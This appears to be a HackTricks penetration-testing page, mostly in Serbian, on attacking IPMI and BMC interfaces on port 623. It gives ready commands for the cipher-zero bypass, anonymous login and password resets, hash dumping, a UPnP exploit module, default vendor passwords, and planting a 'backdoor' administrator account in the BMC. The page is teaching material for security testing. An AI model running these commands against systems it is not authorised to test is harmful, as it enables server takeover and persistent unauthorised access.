hacktricks/network-services-pentesting/623-udp-ipmi.md

148 lines
10 KiB
Markdown

# 623/UDP/TCP - IPMI
## 623/UDP/TCP - IPMI
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Basic Information
### **Overview of IPMI**
**[Intelligent Platform Management Interface (IPMI)](https://www.thomas-krenn.com/en/wiki/IPMI_Basics)** nudi standardizovani pristup za daljinsko upravljanje i nadgledanje računarskih sistema, nezavisno od operativnog sistema ili stanja napajanja. Ova tehnologija omogućava sistem administratorima da upravljaju sistemima na daljinu, čak i kada su isključeni ili neodgovaraju, i posebno je korisna za:
- Konfiguracije pre pokretanja operativnog sistema
- Upravljanje isključenjem
- Oporavak od sistemskih grešaka
IPMI je sposoban da nadgleda temperature, napone, brzine ventilatora i napajanja, uz pružanje informacija o inventaru, pregledanje hardverskih logova i slanje upozorenja putem SNMP-a. Osnovni zahtevi za njegov rad su izvor napajanja i LAN konekcija.
Od svog uvođenja od strane Intela 1998. godine, IPMI je podržan od strane brojnih dobavljača, poboljšavajući mogućnosti daljinskog upravljanja, posebno sa podrškom verzije 2.0 za serijsku komunikaciju preko LAN-a. Ključne komponente uključuju:
- **Baseboard Management Controller (BMC):** Glavni mikro-kontroler za IPMI operacije.
- **Communication Buses and Interfaces:** Za internu i eksternu komunikaciju, uključujući ICMB, IPMB i razne interfejse za lokalne i mrežne konekcije.
- **IPMI Memory:** Za čuvanje logova i podataka.
![https://blog.rapid7.com/content/images/post-images/27966/IPMI-Block-Diagram.png#img-half-right](https://blog.rapid7.com/content/images/post-images/27966/IPMI-Block-Diagram.png#img-half-right)
**Default Port**: 623/UDP/TCP (Obično je na UDP-u, ali može biti i na TCP-u)
## Enumeration
### Discovery
```bash
nmap -n -p 623 10.0.0./24
nmap -n-sU -p 623 10.0.0./24
use auxiliary/scanner/ipmi/ipmi_version
```
Možete **identifikovati** **verziju** koristeći:
```bash
use auxiliary/scanner/ipmi/ipmi_version
nmap -sU --script ipmi-version -p 623 10.10.10.10
```
### IPMI Ranljivosti
U oblasti IPMI 2.0, značajna sigurnosna slabost otkrivena je od strane Dana Farmera, otkrivajući ranjivost kroz **cipher type 0**. Ova ranjivost, dokumentovana u detalje na [istraživanju Dana Farmera](http://fish2.com/ipmi/cipherzero.html), omogućava neovlašćen pristup sa bilo kojom lozinkom pod uslovom da je ciljana validna korisnička. Ova slabost je pronađena kod različitih BMC-ova proizvođača kao što su HP, Dell i Supermicro, što sugeriše široko rasprostranjen problem unutar svih IPMI 2.0 implementacija.
### **IPMI Zaobilaženje Autentifikacije putem Cipher 0**
Da bi se otkrila ova slabost, može se koristiti sledeći Metasploit pomoćni skener:
```bash
use auxiliary/scanner/ipmi/ipmi_cipher_zero
```
Eksploatacija ove greške je moguća sa `ipmitool`, kao što je prikazano u nastavku, omogućavajući listanje i modifikaciju korisničkih lozinki:
```bash
apt-get install ipmitool # Installation command
ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user list # Lists users
ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user set password 2 abc123 # Changes password
```
### **IPMI 2.0 RAKP Autentifikacija Udaljeno Preuzimanje Hash-a Lozinke**
Ova ranjivost omogućava preuzimanje zasoljenih hash-ova lozinki (MD5 i SHA1) za bilo koje postojeće korisničko ime. Da biste testirali ovu ranjivost, Metasploit nudi modul:
```bash
msf > use auxiliary/scanner/ipmi/ipmi_dumphashes
```
### **IPMI Anonymous Authentication**
Podrazumevana konfiguracija u mnogim BMC-ima omogućava "anonimni" pristup, koji se karakteriše nul korisničkim imenom i lozinkom. Ova konfiguracija se može iskoristiti za resetovanje lozinki imenovanih korisničkih naloga koristeći `ipmitool`:
```bash
ipmitool -I lanplus -H 10.0.0.97 -U '' -P '' user list
ipmitool -I lanplus -H 10.0.0.97 -U '' -P '' user set password 2 newpassword
```
### **Supermicro IPMI Lozinke u Čistom Tekstu**
Kritična dizajnerska odluka u IPMI 2.0 zahteva skladištenje lozinki u čistom tekstu unutar BMC-a u svrhe autentifikacije. Skladištenje ovih lozinki na mestima kao što su `/nv/PSBlock` ili `/nv/PSStore` postavlja značajne bezbednosne brige:
```bash
cat /nv/PSBlock
```
### **Supermicro IPMI UPnP Ranljivost**
Uključivanje UPnP SSDP slušatelja u Supermicro-ovom IPMI firmveru, posebno na UDP portu 1900, uvodi ozbiljan bezbednosni rizik. Ranljivosti u Intel SDK za UPnP uređaje verzije 1.3.1, kako je detaljno opisano u [Rapid7-ovom otkriću](https://blog.rapid7.com/2013/01/29/security-flaws-in-universal-plug-and-play-unplug-dont-play), omogućavaju pristup root-u BMC-u:
```bash
msf> use exploit/multi/upnp/libupnp_ssdp_overflow
```
### Brute Force
**HP nasumično generiše podrazumevanu lozinku** za svoj **Integrated Lights Out (iLO)** proizvod tokom proizvodnje. Ova praksa se razlikuje od drugih proizvođača, koji obično koriste **statične podrazumevane akreditive**. Sažetak podrazumevanih korisničkih imena i lozinki za različite proizvode je dat u nastavku:
- **HP Integrated Lights Out (iLO)** koristi **fabricki nasumično generisanu 8-znamenkastu string** kao svoju podrazumevanu lozinku, pokazujući viši nivo sigurnosti.
- Proizvodi poput **Dell-ovog iDRAC, IBM-ovog IMM** i **Fujitsu-ovog Integrated Remote Management Controller** koriste lako pogađajuće lozinke kao što su "calvin", "PASSW0RD" (sa nulom) i "admin" redom.
- Slično tome, **Supermicro IPMI (2.0), Oracle/Sun ILOM** i **ASUS iKVM BMC** takođe koriste jednostavne podrazumevane akreditive, pri čemu "ADMIN", "changeme" i "admin" služe kao njihove lozinke.
## Accessing the Host via BMC
Administrativni pristup Kontroleru upravljanja matičnom pločom (BMC) otvara različite puteve za pristup operativnom sistemu hosta. Jednostavan pristup uključuje iskorišćavanje KVM funkcionalnosti BMC-a. To se može uraditi ili ponovnim pokretanjem hosta u root shell putem GRUB-a (koristeći `init=/bin/sh`) ili pokretanjem sa virtuelnog CD-ROM-a postavljenog kao disk za oporavak. Ove metode omogućavaju direktnu manipulaciju diskom hosta, uključujući umetanje backdoor-a, ekstrakciju podataka ili bilo koje potrebne radnje za procenu sigurnosti. Međutim, ovo zahteva ponovno pokretanje hosta, što je značajan nedostatak. Bez ponovnog pokretanja, pristup aktivnom hostu je složeniji i varira u zavisnosti od konfiguracije hosta. Ako fizička ili serijska konzola hosta ostane prijavljena, može se lako preuzeti putem KVM ili serial-over-LAN (sol) funkcionalnosti BMC-a koristeći `ipmitool`. Istraživanje iskorišćavanja zajedničkih hardverskih resursa, poput i2c magistrale i Super I/O čipa, je oblast koja zahteva dalju istragu.
## Introducing Backdoors into BMC from the Host
Nakon kompromitovanja hosta opremljenog BMC-om, **lokalni BMC interfejs se može iskoristiti za umetanje backdoor korisničkog naloga**, stvarajući trajnu prisutnost na serveru. Ovaj napad zahteva prisustvo **`ipmitool`** na kompromitovanom hostu i aktivaciju podrške za BMC drajvere. Sledeće komande ilustruju kako se novi korisnički nalog može ubrizgati u BMC koristeći lokalni interfejs hosta, što zaobilazi potrebu za autentifikacijom. Ova tehnika je primenljiva na širok spektar operativnih sistema uključujući Linux, Windows, BSD, pa čak i DOS.
```bash
ipmitool user list
ID Name Callin Link Auth IPMI Msg Channel Priv Limit
2 ADMIN true false false Unknown (0x00)
3 root true false false Unknown (0x00)
ipmitool user set name 4 backdoor
ipmitool user set password 4 backdoor
ipmitool user priv 4 4
ipmitool user list
ID Name Callin Link Auth IPMI Msg Channel Priv Limit
2 ADMIN true false false Unknown (0x00)
3 root true false false Unknown (0x00)
4 backdoor true false true ADMINISTRATOR
```
## Shodan
* `port:623`
## References
* [https://blog.rapid7.com/2013/07/02/a-penetration-testers-guide-to-ipmi/](https://blog.rapid7.com/2013/07/02/a-penetration-testers-guide-to-ipmi/)
{% hint style="success" %}
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Podrška HackTricks</summary>
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details>
{% endhint %}